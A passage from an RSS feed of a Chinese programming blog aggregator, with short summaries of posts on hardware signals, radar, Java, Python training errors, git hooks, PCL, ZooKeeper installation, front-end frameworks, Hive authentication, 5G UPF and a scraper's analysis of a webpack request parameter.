注意到，输入信号主要还是AHB的输入控制信号，值得说明的是sram的读写使能控制信号是由hwrite信号控制的，在ahb总线上，hwrite为高时表示读，需要将sram_o_en拉低（低有效）。而片选信号bank0_csn和bank1_csn则是通过地址的最高位判断，为0时选中bank0，为1时选中bank1，而每个bank内部的小sram通过addr的低两位进行片选，并生成了独热码，共3个有效位宽。&#xA;信号名&#xA;方向&#xA;位宽&#xA;详细说明&#xA;Ahb_slave_if模块输入信号&#xA;hclk&#xA;Input&#xA;1&#xA;AHB总线时钟信号&#xA;hresetn&#xA;Input&#xA;1&#xA;AHB总线复位信号&#xA;hsel&#xA;Input&#xA;1&#xA;Sram控制器片选信号</description>
    </item>
    <item>
      <title>毫米波雷达识别问题分析及解决措施</title>
      <link>https://bchobby.github.io/posts/b86b66e05f647890ee8fec993f4db784/</link>
      <pubDate>Wed, 25 Aug 2021 18:01:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b86b66e05f647890ee8fec993f4db784/</guid>
      <description>1. 前言&#xA;近年来，随着人工智能的兴起无人驾驶汽车获得了越来越多的关注，而无人驾驶车辆想要真正上路行驶，最关键的技术在于精确掌握现实中复杂的交通状况，这样一来就必须使用雷达装置。由于毫米波雷达相对于摄像头及激光雷达，其感知特性具有距离远、可靠性高、不受光线及尘埃影响等特点 [1]，特别是不会受恶劣天气的影响并且能够全天候工作，因此是无人驾驶技术的最佳选择。&#xA;毫米波雷达是利用目标对电磁波的反射来发现并测定目标位置，而充满杂波的外部环境给毫米波雷达感知带来无法避免的虚警问题。为此，本文针对 L3 级自动驾驶样车所配备的 77 GHz 长距毫米波雷达和中距毫米波雷达在感知识别中的主要问题进行了分析并提出了解决对策，为后续毫米波雷达的应用和测试提供参考。&#xA;2. 毫米波雷达识别问题解析&#xA;2.1 毫米波雷达工作原理&#xA;图 1 毫米波雷达系统整车布置示意&#xA;L3 级自动驾驶样车车身周围布置了 2 枚长距毫米波雷达和 4 枚中距毫米波雷达，可实现车身 360° 环境感知范围覆盖。毫米波雷达系统整车布置方案及探测范围如图 1 所示。&#xA;图 2 毫米雷达系统网络架构示意&#xA;毫米波雷达通过 CAN 信号与自动驾驶控制器进行交互（图 2），将其感知结果输入至下一级规划控制模块，其输出参数如表 1 和表 2 所列。&#xA;表 1 长距毫米波雷达输出参数&#xA;表 2 中距毫米波雷达输出参数&#xA;由表 1 和表 2 可知，相对其它传感器（如视觉传感器、激光雷达传感器），毫米波雷达具有速度精度较高、角分辨率相对较低等特点。由于中距雷达、长距雷达的短距模式角度覆盖范围相对更大，其角分辨率进一步下降。&#xA;2.2 毫米波雷达识别目标虚警干扰问题&#xA;2.2.1 问题描述&#xA;在长距毫米波雷达使用过程中，发现前长距雷达有大量虚警信号出现。通过观察发现：&#xA;图 3 试验场景及第 1、2 类虚警&#xA;第 1 类虚警信号通常与金属护栏信号同时出现，为一系列连续点，其回波点相对车辆的距离与护栏回波点相对车辆的距离接近，夹角相对护栏回波点偏右，特征是由远及近、从右向左穿过车辆所在点上的水平轴，在接近车辆的过程中突然消失，其与车的相对速度与道路护栏与车的相对速度一致（图 3 中虚线圆圈）；&#xA;第 2 类虚警信号通常与车辆同时出现，车辆虚警信号的目标距离与目标车辆回波点接近，方位角相对目标车辆回波点偏右，其相对速度与目标车辆一致（图 3 中实线圆圈），而后置长距毫米波雷达图像中没有出现这些虚警信号。将前、后毫米波雷达调换后重新在该路段进行了测试，发现虚警信号依然存在，预测是车辆前、后保险杠不同所导致。将前保险杠拆除后再次在该路段进行了测试，发现两种虚警信号均消失。</description>
    </item>
    <item>
      <title>java.nio.charset.MalformedInputException: Input length = 1</title>
      <link>https://bchobby.github.io/posts/dad5a816ffb5d165bce17fd69aa5482d/</link>
      <pubDate>Wed, 25 Aug 2021 11:17:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dad5a816ffb5d165bce17fd69aa5482d/</guid>
      <description> 应用程序和nacos配置中心集成后，在windows的idea中正常，打完包，在windows系统上，通过控制台启动，报错下面的错&#xA;org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input length = 1&#xA;at org.yaml.snakeyaml.reader.StreamReader.update(StreamReader.java:218) ~[snakeyaml-1.25.jar!/:na]&#xA;at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:176) ~[snakeyaml-1.25.jar!/:na]&#xA;at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:171) ~[snakeyaml-1.25.jar!/:na]&#xA;at org.yaml.snakeyaml.reader.StreamReader.peek(StreamReader.java:126) ~[snakeyaml-1.25.jar!/:na]&#xA;at org.yaml.snakeyaml.scanner.ScannerImpl.scanToNextToken(ScannerImpl.java:1177) ~[snakeyaml-1.25.jar!/:na]&#xA;at org.yaml.snakeyaml.scanner.ScannerImpl.fetchMoreTokens(ScannerImpl.java:287) ~[snakeyaml-1.25.jar!/:na]&#xA;at org.yaml.snakeyaml.scanner.ScannerImpl.checkToken(ScannerImpl.java:227) ~[snakeyaml-1.25.jar!/:na]&#xA;at org.yaml.snakeyaml.parser.ParserImpl$ParseImplicitDocumentStart.produce(ParserImpl.java:195) ~[snakeyaml-1.25&#xA;然后把程序部署到linux系统上，也能正常启动。这就奇怪了，因为在windows的idea中能启动，linux中也能正常启动，而偏偏windows的控制台启动不了，这个时候想到了编码问题！&#xA;解决方法 # 指定-Dfile.encoding=UTF-8 java -jar -Dfile.encoding=UTF-8 mydemo-1.0.0.jar </description>
    </item>
    <item>
      <title>mmdetection多卡训练中报警告semaphore_tracker: There appear to be 14 leaked semaphores to clean up at shutdow</title>
      <link>https://bchobby.github.io/posts/366ef63b8dbde3daecc889633fdf4200/</link>
      <pubDate>Wed, 25 Aug 2021 10:35:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/366ef63b8dbde3daecc889633fdf4200/</guid>
      <description>最近自己写了个模型，采用mmdetection框架去训练coco数据集。由于数据集较大，单卡情况下预计需要一个月时间才能完成1x的训练。这无法容忍，于是采用多卡分布式训练。&#xA;首先，第一次由于batchsize过大，导致显存爆了。&#xA;调整batchsize后，报如下错误：&#xA;显示有信号泄露警告，起初以为只是警告忽略就可，主要关注其中的error错误，百度这个错误，网上并没有关于这个问题的解答。于是关注于警告的部分，这个警告的解决方案，可以参考相关博文：&#xA;UserWarning: semaphore_tracker: There appear to be 4 leaked semaphores to clean up at shutdown&#xA;但是并不能解决我的问题，通过请教openmmlab的大佬，得到如下回答：“你这是上一次跑出错或者暂停了，然后没清理上次的残留进程。如果不太会的话，每次跑之前killall python一下(确保没其他有用的python程序在跑）。”&#xA;我之前batchsize过大时暂停过一次，后续又暂停多吃，残留的线程太多了，最终kill掉之后，完美解决！</description>
    </item>
    <item>
      <title>java Bigdecimal的加减乘除运算及保留小数位</title>
      <link>https://bchobby.github.io/posts/7de52e9d86ae9bf55f869e102270f62b/</link>
      <pubDate>Tue, 24 Aug 2021 21:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7de52e9d86ae9bf55f869e102270f62b/</guid>
      <description>一、运算 java.math.BigDecimal。BigDecimal一共有多种够造方法，让我先来看看其中的两种用法：&#xA;第一种：BigDecimal(double val)&#xA;第二种：BigDecimal(String val) //通常采用这种方式&#xA;来看看BigDecimal的四则运算：&#xA;BigDecimal的四则运算 加法bigDecimal1.add(bigDecimal2)减法bigDecimal1.subtract(bigDecimal2)乘法bigDecimal1.multiply(bigDecimal2)除法bigDecimal1.divide(bigDecimal2) 代码：&#xA;/** * 加减乘除 */ @Test public void BigdecimalTest1(){ BigDecimal bignum1 = new BigDecimal(&#34;10&#34;); BigDecimal bignum2 = new BigDecimal(&#34;5&#34;); BigDecimal bignum3 = null; //加法 bignum3 = bignum1.add(bignum2); System.out.println(&#34;和 是：&#34; + bignum3); //减法 bignum3 = bignum1.subtract(bignum2); System.out.println(&#34;差 是：&#34; + bignum3); //乘法 bignum3 = bignum1.multiply(bignum2); System.out.println(&#34;积 是：&#34; + bignum3); //除法 bignum3 = bignum1.divide(bignum2); System.out.println(&#34;余 是：&#34; + bignum3); } 结果：&#xA;和 是：15</description>
    </item>
    <item>
      <title>git commit提交代码时的代码校验pre-commit 如何去除</title>
      <link>https://bchobby.github.io/posts/ae6da5f8fa381ef31c75149436a09579/</link>
      <pubDate>Tue, 24 Aug 2021 16:36:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae6da5f8fa381ef31c75149436a09579/</guid>
      <description>今天，当我用git进行代码管理的时候，执行git commit -m&#34;样式修改&#34;会出现如下信息：&#xA;&amp;gt; running pre-commit hook: lint-staged ❯ Running tasks for *.js ✖ vue-cli-service lint → 2 errors and 2 warnings found. git add ❯ Running tasks for *.vue ✖ vue-cli-service lint → 31 errors found. git add 出现如此状态，真是让人头疼，接下来看看解决方式：&#xA;解：&#xA;进入 项目所在文件夹&amp;gt;.git&amp;gt;hooks&#xA;删除hooks目录下的内容！没错，你没有看错，是删除！&#xA;然后再重新执行git commit命令，至此大功告成&#xA;————————————————&#xA;版权声明：本文为CSDN博主「我的孤单不寂寞」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/qq_35457469/article/details/102949831</description>
    </item>
    <item>
      <title>点云PCL学习笔记-分割segmentation-RANSAC随机采样一致性算法&amp;&amp;欧式聚类提取</title>
      <link>https://bchobby.github.io/posts/299a52559294e83c0b9783eeb0f517a3/</link>
      <pubDate>Tue, 24 Aug 2021 15:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/299a52559294e83c0b9783eeb0f517a3/</guid>
      <description>随机采样一致性算法RANSAC 程序实例参考网址：&#xA;https://pcl.readthedocs.io/projects/tutorials/en/latest/random_sample_consensus.html?highlight=console#the-explanation&#xA;PCLAPI文档：&#xA;https://pointclouds.org/documentation/&#xA;应用主要是：&#xA;1、对点云进行分割，根据设定不同的几何模型（PCL中主要支持的模型有：空间平面、直线、二维或三维圆周、圆球、锥体），估计对应的几何模型参数，在一定允许误差范围内分割出在模型上的点云。&#xA;2、点云的配准对的剔除，见点云配准内容&#xA;简介 从样本中随即抽选一个样本子集——最小方差估计算法对这个子集计算模型参数——计算所有样本与该模型的偏差——使用一个设定好的阈值与偏差比较——偏差&amp;lt;阈值，样本点属于模型内样本点（inliers）;偏差&amp;gt;阈值，模型外样本点（outliers）——记录下当前inliers的个数，重复这一过程，记录当前最佳模型参数（即inliers个数最多，对应的inliers称为best_ninliers)——每次迭代后计算：期望的误差率、best_ninliers、总样本个数、当前迭代次数，——计算迭代结束评判因子，决定是否结束迭代——结束迭代，最佳模型参数为最终模型参数的估计值&#xA;问题：&#xA;1、预先设定的阈值，模型如果抽象不好设定&#xA;2、RANSAC的迭代次数未知&#xA;RANSAC优缺点 RANSAC 的一个优点是它能够对模型参数进行鲁棒估计，即，即使数据集中存在大量异常值，它也可以高度准确地估计参数。 RANSAC 的一个缺点是计算这些参数所需的时间没有上限。当计算的迭代次数有限时，获得的解可能不是最佳的，甚至可能不是很好地拟合数据的解。通过这种方式，RANSAC 提供了一种权衡；通过计算更多的迭代次数，可以增加生成合理模型的概率。 RANSAC 的另一个缺点是它需要设置特定于问题的阈值。&#xA;RANSAC 只能为特定数据集估计一个模型。对于存在两个（或更多）模型时的任何一种模型方法，RANSAC 可能无法找到任何一个。&#xA;PCL中RANSAC算法实现类 class pcl::RandomSampleConsensus&#xA;应用实例 学习如何用RandomSampleConsensus类获得点云的拟合平面模型&#xA;初始化点云 // initialize PointClouds pcl::PointCloud&amp;lt;pcl::PointXYZ&amp;gt;::Ptr cloud (new pcl::PointCloud&amp;lt;pcl::PointXYZ&amp;gt;);//存储源点云 pcl::PointCloud&amp;lt;pcl::PointXYZ&amp;gt;::Ptr final (new pcl::PointCloud&amp;lt;pcl::PointXYZ&amp;gt;);//存储提取的局内点inliers //填充点云数据，作为处理前的原始点云 cloud-&amp;gt;width = 5000;//设置点云数目 cloud-&amp;gt;height = 1;//设置为无序点云 cloud-&amp;gt;is_dense = false; cloud-&amp;gt;points.resize (cloud-&amp;gt;width * cloud-&amp;gt;height); for (size_t i = 0; i &amp;lt; cloud-&amp;gt;points.size (); ++i) { if (pcl::console::find_argument (argc, argv, &#34;</description>
    </item>
    <item>
      <title>【超详细】CentOS 7安装zookeeper</title>
      <link>https://bchobby.github.io/posts/540f928c51eb8da6426f563d7259edb5/</link>
      <pubDate>Tue, 24 Aug 2021 14:13:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/540f928c51eb8da6426f563d7259edb5/</guid>
      <description>CentOS 7安装zookeeper 0、顺利完成安装需要的知识储备1、系统环境2、单机安装步骤①下载并解压安装包②修改配置文件并启动单机节点 3、搭建zookeeper集群①修改配置文件②克隆虚拟机③启动集群 0、顺利完成安装需要的知识储备 1. 基础的Linux系统知识 2. 基本的Vim编辑器使用方法 1、系统环境 操作系统：Linux CentOS 7 64位 JDK版本：1.8.0_262 2、单机安装步骤 ①下载并解压安装包 官网下载zookeeper最新稳定版本&#xA;复制上图红框中的地址，选择一个路径打开终端下载压缩包。这里我选择的是在/home/&amp;lt;username&amp;gt;/Software目录下安装&#xA;使用如下命令解压压缩文件&#xA;$ wget https://mirrors.bfsu.edu.cn/apache/zookeeper/zookeeper-3.6.3/apache-zookeeper-3.6.3-bin.tar.gz $ tar -zxvf apache-zookeeper-3.6.3-bin.tar.gz ②修改配置文件并启动单机节点 首先删除多余的压缩包&#xA;$ ll 总用量 12224 drwxrwxr-x 6 vm1 vm1 133 8月 24 14:38 apache-zookeeper-3.6.3-bin -rw-rw-r-- 1 vm1 vm1 12516362 4月 13 03:06 apache-zookeeper-3.6.3-bin.tar.gz $ rm apache-zookeeper-3.6.3-bin.tar.gz 接下来把zookeeper路径命改得简单一些&#xA;$ mv apache-zookeeper-3.6.3-bin zookeeper $ ll 总用量 0 drwxrwxr-x 6 vm1 vm1 133 8月 24 14:38 zookeeper 复制配置文件并启动zookeeper（这里直接改配置文件名字也可以，但是保险起见还是复制一份比较好）</description>
    </item>
    <item>
      <title>selenium根据文本匹配定位</title>
      <link>https://bchobby.github.io/posts/8d8d3b9c6d9002570c8cf32386d02984/</link>
      <pubDate>Tue, 24 Aug 2021 11:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d8d3b9c6d9002570c8cf32386d02984/</guid>
      <description>搜了半圈，都是扯，都用的是这种错误的。&#xA;driver.find_element_by_xpath(’//text()=“新闻”’).click()&#xA;这个不是按文本匹配的。&#xA;下面这个才是按页面文本匹配的 driver.find_element_by_link_text(&#34;新闻&#34;).click() 一个个的标题党，错了都硬抄了一大片。。。。</description>
    </item>
    <item>
      <title>Vuex之命名空间namespace用法</title>
      <link>https://bchobby.github.io/posts/a68e91f7601e134cbf6b94234c0ef9ab/</link>
      <pubDate>Mon, 23 Aug 2021 22:32:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a68e91f7601e134cbf6b94234c0ef9ab/</guid>
      <description>在store中的用法&#xA;import Vue from &#39;vue&#39; import Vuex from &#39;vuex&#39; Vue.use(Vuex) const sumInfo = { namespaced: true, actions: { jiaOdd (store, payload) { if (store.state.sum % 2) { store.commit(&#39;JIA&#39;, payload) } }, WATIEadd (store, payload) { setTimeout(() =&amp;gt; { store.commit(&#39;JIA&#39;, payload) }, 500) } }, state: { sum: 999, school: &#39;北京大学&#39;, subject: &#39;软件技术&#39; }, mutations: { JIA (state, payload) { console.log(&#39;mutations的方法被调用了。。。&#39;, state, payload) state.sum += payload }, jian (state, num) { state.</description>
    </item>
    <item>
      <title>Element UI关于 input禁止编辑</title>
      <link>https://bchobby.github.io/posts/9d614129420c5ec371400d467a232909/</link>
      <pubDate>Mon, 23 Aug 2021 17:45:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d614129420c5ec371400d467a232909/</guid>
      <description> 方法1: 添加 readonly 属性 readonly规定输入字段为只读可复制，但是，用户可以使用Tab键切换到该字段，可选择,可以接收焦点，还可以选中或拷贝其文本。&#xA;&amp;lt;el-form-item label=&#34;部门&#34; prop=&#34;departmentName&#34;&amp;gt; &amp;lt;el-input readonly v-model=&#34;formData.departmentName&#34; style=&#34;width:50%&#34; placeholder=&#34;请选择部门&#34; @focus=&#34;hFocus&#34; /&amp;gt; &amp;lt;/el-form-item&amp;gt; 方式2: v-model变为 :value &amp;lt;el-form-item label=&#34;部门&#34; prop=&#34;departmentName&#34;&amp;gt; &amp;lt;el-input :value=&#34;formData.departmentName&#34; style=&#34;width:50%&#34; placeholder=&#34;请选择部门&#34; @focus=&#34;hFocus&#34; /&amp;gt; &amp;lt;/el-form-item&amp;gt; </description>
    </item>
    <item>
      <title>龙芯平台stream编译错误问题解决</title>
      <link>https://bchobby.github.io/posts/44ab44774c33d9196e62baa632bbae21/</link>
      <pubDate>Mon, 23 Aug 2021 17:15:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44ab44774c33d9196e62baa632bbae21/</guid>
      <description>执行命令：&#xA;gcc -O2 stream.c 报错如下：&#xA;Dump relocate record: stack top relocation name symbol at /tmp/ccn99HNZ.o(.text+0x90): ... 0xffffffffffffffa0 R_LARCH_SOP_POP_32_S_10_16_S2 `&amp;lt;nameless&amp;gt;&#39; at /tmp/ccn99HNZ.o(.text+0x94): 0x0000000080007414 R_LARCH_SOP_PUSH_PCREL `.LC1&#39; + 2048(0x800) 0x0000000000001194 R_LARCH_SOP_PUSH_ABSOLUTE `&amp;lt;nameless&amp;gt;&#39; + 12(0xc) 0x000000000000000c R_LARCH_SOP_SR `&amp;lt;nameless&amp;gt;&#39; 0x0000000000000001 R_LARCH_SOP_POP_32_S_5_20 `&amp;lt;nameless&amp;gt;&#39; at /tmp/ccn99HNZ.o(.text+0x98): 0x00000000000073e4 R_LARCH_SOP_PUSH_PCREL `.LC1&#39; + 4(0x4) 0x0000000000000994 R_LARCH_SOP_PUSH_PCREL `.LC1&#39; + 2052(0x804) 0x0000000000001194 R_LARCH_SOP_PUSH_ABSOLUTE `&amp;lt;nameless&amp;gt;&#39; + 12(0xc) 0x000000000000000c R_LARCH_SOP_SR `&amp;lt;nameless&amp;gt;&#39; 0x0000000000000001 R_LARCH_SOP_PUSH_ABSOLUTE `&amp;lt;nameless&amp;gt;&#39; + 12(0xc) 0x000000000000000c R_LARCH_SOP_SL `&amp;lt;nameless&amp;gt;&#39; 0x0000000000001000 R_LARCH_SOP_SUB `&amp;lt;nameless&amp;gt;&#39; 0xfffffffffffff994 R_LARCH_SOP_POP_32_S_10_12 `&amp;lt;nameless&amp;gt;&#39; at /tmp/ccn99HNZ.</description>
    </item>
    <item>
      <title>HIVE设置连接用户名和密码</title>
      <link>https://bchobby.github.io/posts/0cbb0521cf4feaaa5ebcfc827558e9a5/</link>
      <pubDate>Mon, 23 Aug 2021 14:51:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cbb0521cf4feaaa5ebcfc827558e9a5/</guid>
      <description>Hive设置连接用户名和密码，操作相关步骤如下：&#xA;Hive-site.xml,缺省为NONE。此处改为CUSTOM&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.server2.authentication&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;CUSTOM&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt; Expects one of [nosasl, none, ldap, kerberos, pam, custom]. Client authentication types. NONE: no authentication check LDAP: LDAP/AD based authentication KERBEROS: Kerberos/GSSAPI authentication CUSTOM: Custom authentication provider (Use with property hive.server2.custom.authentication.class) PAM: Pluggable authentication module NOSASL: Raw transport &amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; 配置自定义验证类 hive-site.xml&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.server2.custom.authentication.class&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;org.apache.hadoop.hive.contrib.auth.CustomPasswdAuthenticator&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 自定义验证类代码：&#xA;package org.apache.hadoop.hive.contrib.auth; import javax.security.sasl.AuthenticationException; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hive.conf.HiveConf; import org.slf4j.Logger; public class CustomPasswdAuthenticator implements org.apache.hive.service.auth.PasswdAuthenticationProvider{ private Logger LOG = org.</description>
    </item>
    <item>
      <title>5G UPF与MEC</title>
      <link>https://bchobby.github.io/posts/543a60622254060da18a9afa968b3be2/</link>
      <pubDate>Sun, 22 Aug 2021 22:41:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/543a60622254060da18a9afa968b3be2/</guid>
      <description>主题：5G UPF与MEC&#xA;简介：介绍了UPF在不同场景下的配置方案以及UPF的功能&#xA;参考：&#xA;TS23.501 5.8&#xA;5G核心网规划与应用&#xA;5G UPF分流技术和部署方式（CM Labs）&#xA;5G MEC分流方案&#xA;5G UPF用户面功能&#xA;5G Tutorial&#xA;作者：ybb&#xA;时间：2021年8月22日&#xA;一、5G核心网规划与应用（5.5.6） 1.UPF配置方案 UPF主要负责数据包的路由和转发、数据包的检测、用户面策略的实施、Qos的执行等。&#xA;UPF的能力指标包括同时处理的吞吐量和流数量；&#xA;2.UPF网络组织 5G UPF需要满足eMBB、URLLC以及大带宽的MEC场景，需要具备灵活的网络部署机制。&#xA;（1）eMBB场景：核心UPF。&#xA;针对移动用户，UPF的设置还需要考虑4G/5G的互操作和融合组网的需求，即UPF与PGW-U融合设置，5G的语音业务由IMS解决，而IMS的接入设备SBC/P-CSCF通常会设置在省会城市，为了将语音业务接入IMS，UPF也需要同SBC/P-CSCF一样相对集中的设置在省会城市。&#xA;（2）针对MEC场景，考虑到MEC的低时延、大带宽需求，UPF需要就近接入MEC，一般UPF需要与MEC紧密关联部署在一起，此类UPF称为边缘UPF，UPF需要像MEC一样部署在网络的边缘。&#xA;eMBB场景和MEC场景下UPF组网方式对比如下图&#xA;5G网络支持上行链路分类器和分支点功能，允许用户的业务刘静多个UPF，即为不同的业务设置不同的锚点UPF。&#xA;对于边缘计算的业务直接由边缘UPF到DN;&#xA;对于用户的语音业务，可由边缘UPF到核心UPF，再由核心UPF到IMS网络。&#xA;5G 不同场景下UPF的流量示意图如下图所示&#xA;注：5G为什么需要MEC&#xA;在工业园区的网络还存在数据安全，以及内网访问的需求，MEC可以作为运营商和企业内网之间的桥梁，实现内网数据不出园区，本地流量本地消化。&#xA;MEC和UPF联合起来可以进行灵活的数据分流，内网数据直接走内网通道，私密数据不出园区；外网数据也可直通互联网&#xA;二、5G核心网规划与应用（6.2） 6.2UPF功能 UPF是处理PDU会话的用户平面路径的网元，支持UE业务数据的转发、通过N4接口受SMF的控制和管理、依据SMF下发的各种策略执行业务面业务流的处理。&#xA;主要诸恶的功能如下：&#xA;RAT内/间移动性锚点&#xA;响应SMF为UE分配IP地址&#xA;PDU会话和数据网络的连接点&#xA;数据包路由和转发&#xA;数据包家名册&#xA;合法拦截&#xA;用户面策略执行&#xA;QoS处理&#xA;6.2.1用户面功能 1.移动性管理&#xA;UPF能辅助AMF、SMF完成以下移动性管理流程：&#xA;基于Xn接口的切换；&#xA;基于N2接口的切换；&#xA;5GC和EPS之间的切换；&#xA;2.IP地址分配&#xA;UE IP地址管理包括UE IP地址的分配和释放以及IP地址分配之后的更新。UPF由SMF控制没在PDU会话建立过程中为UE分配IP地址，支持IPv4、IPv6&#xA;11.数据包转发及路由&#xA;UPF具有把来自外部数据网的PDU用GTP包头和UDP/IP包头进行封装的功能，并以包头的相关地址信息作为标识。利用一条点到点的双向隧道来传输封装数据给终端，对于去往外部数据网的GTP-U PDU，应该去除其封装包头后在转发给外部数据网。&#xA;UPF应支持静态路由、策略路由、备份路由。备份路由之间可以进行负荷分担。&#xA;UPF应支持OSPF、BGP等开放的标准路由协议。&#xA;UPF应支持路由映像定义、路由引入、分发定义，以及路由的前缀、自治系统路径、团体属性、访问列表等限制规则。&#xA;12.用户面数据转发&#xA;SMF向UPF提供FAR，从而根据PDR流量检测信息控制用户面数据包转发。&#xA;FAR中包括转发操作信息和转发目标信息，因此UPF应具备下列功能：&#xA;N3/N9隧道相关处理，例如封装;</description>
    </item>
    <item>
      <title>运行echarts的官方示例显示为空白的解决方法</title>
      <link>https://bchobby.github.io/posts/df0acf74f93f808cfdc3931af62210e4/</link>
      <pubDate>Sun, 22 Aug 2021 21:39:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df0acf74f93f808cfdc3931af62210e4/</guid>
      <description>文章目录 原因总结详细说明问题一（与原因对应）问题二问题三： 效果显示相关资源吐槽 原因总结 echarts路径错误没有相关的json数据没有引入jQuery 详细说明 举个例子，我在Echarts的官方示例中找到了它&#xA;网址：https://echarts.apache.org/examples/zh/editor.html?c=custom-gantt-flight&#xA;点击右上角的下载示例，将下载好的文件放入pycharm中（只要是编译器就可以，但不能直接点开，因为数据文件需要渲染）&#xA;问题一（与原因对应） 先看这一行代码&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://cdn.jsdelivr.net/npm/echarts@5/dist/echarts.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; echarts.min.js的路径需要更改，我们先把echarts.min.js放入当前文件夹下，然后修改路径&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;echarts.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 问题二 $.get(ROOT_PATH + &#39;/data/asset/data/airport-schedule.json&#39;, function (rawData) 首先我们要拿到这个json的数据文件，怎么拿呢？&#xA;进入刚才的链接，F12找到network&#xA;刷新一下，找到我们所需的文件&#xA;双击：&#xA;这就是我们所需的json数据，我是创建个txt，将内容复制进去，再将后缀名改为json（感觉笨了，大家有什么更简单的方法可以发在评论区）&#xA;同时修改代码：&#xA;$.get(&#39;airport-schedule.json&#39;, function (rawData) 问题三： $.get(&#39;airport-schedule.json&#39;, function (rawData) 改完后的代码其实还有问题，我们可以试运行一下，F12查看一下：&#xA;这说明目前无法识别‘$’这个符号&#xA;其实这是jQuery的符号，如果不引入jQuery自然就无法成功显示&#xA;相关方法详见这篇文章：关于$ is not defined的原因和解决办法（看文章里的情况1即可）&#xA;将下载后的文件放入同一文件夹&#xA;最后引入jQuery即可：&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;jquery-3.6.0.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 效果显示 在解决掉上面三个问题后，我们再尝试运行一下，点击右上角的浏览器：&#xA;成功了，好耶！&#xA;相关资源 我已经将图中的四个文件压缩后上传了，大家点击下面的链接就可以下载到原文件了！&#xA;Ecahrts的官方示例（航班甘特图，可拖拽）&#xA;吐槽 网上真的没有详细的讲解，从官网下完示例后运行不出来真的很着急，好在最后还是搞定了</description>
    </item>
    <item>
      <title>Python 爬虫进阶必备 | 某音乐网站查询参数加密逻辑分析（分离式 webpack 的加密代码扣取详解）...</title>
      <link>https://bchobby.github.io/posts/1032b96973b41bf52223a4e0463a5319/</link>
      <pubDate>Sun, 22 Aug 2021 18:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1032b96973b41bf52223a4e0463a5319/</guid>
      <description>点击上方“咸鱼学Python”，选择“加为星标”&#xA;第一时间关注Python技术干货！&#xA;今日网站 aHR0cDovL3d3dy5rdXdvLmNuL3NlYXJjaC9saXN0P2tleT0lRTQlQjglOEIlRTUlQjElQjE=&#xA;首先声明，本网站的这个参数不是必要的参数，通过 postman 测试不带参数也可以返回数据，那么这篇文章讲什么？&#xA;之前分析了一篇 webpack 加密的网站，讲了大概一个使用了 webpack 的网站他的参数应该如何扣取。&#xA;本篇是他的续篇，主要讲述当模块分发器不在同一个文件的 webpack 应该如何扣取&#xA;Python 爬虫进阶必备 | 某游戏网站密码加密逻辑分析（webpack 的 js 加密代码怎么扣 -思路分析）&#xA;加密参数定位 首先看下我们需要的分析的参数是什么&#xA;这里的 reqId 就是需要分析的参数，这个参数看着是不是特别像 uuid&#xA;直接检索参数名可以找到下面这个文件&#xA;在文件里再次检索可以定位到下面几个位置&#xA;这里的reqId的值分别等于r和n，但是这里的r和n的逻辑都指向下面这个逻辑c()()&#xA;所以我们需要断点一下看下reqId是否就是在这里生成的，如果是这里再看看c的具体逻辑&#xA;这里打上断点刷新可以看到，确实断点的位置在上面标记的两个位置中，并且参数也是c()()生成的&#xA;加密参数分析 经过上面的定位已经可以知道参数是由c()()生成的，那么c的逻辑分析出来就完成了。&#xA;往上翻下代码可以看到下面的逻辑&#xA;l = n(109) c = n.n(l) reqId = c()() 所以这里的关键参数就是l，l是n(109)生成的，这里的n就是我们今天的重点webpack整出来的。&#xA;按照前一篇的介绍，要看下模块分发器的位置把他扣取出来，然后把加密逻辑用到的模块都塞到分发器里调用就可以了。&#xA;但是在开始的位置没有看到分发器&#xA;所以现在要在l的位置单步到分发器的位置，原来在另一个文件中&#xA;这里就是分发器的位置了，这里的e存的就是全部的模块&#xA;代码运行到函数 d 的时候会把所有方法都塞到这个列表里，然后就可以用n(xxx)调用了，我们要做的就是和这里一样把reqId的逻辑组成一个这样的函数，我们直接调用d(xxx)这样的代码就可以直接生成 reqId&#xA;现在就是把分发器还有reqId用到的模块都扣出来然后组装到一起。&#xA;代码扣取 先扣模块的分发器，把除了d之外的全删了&#xA;因为d里面用到了t，所以在d前面补一个var t={}&#xA;这个时候剩下的代码应该是下面这样的&#xA;接下来就是找l用到的代码了&#xA;可以看到l用到的是n(109)，所以我们需要找到109对应的代码&#xA;“ 注意：这里最好是在模块分发器里找 109 对应的代码像下图这样，如果将断点打在 l 的位置单步进去可能会出现偏差</description>
    </item>
    <item>
      <title>咸鱼学 Python  技术交流群又双叒满了！！！</title>
      <link>https://bchobby.github.io/posts/11b806e2f4939a31a3eb12b4dec629e8/</link>
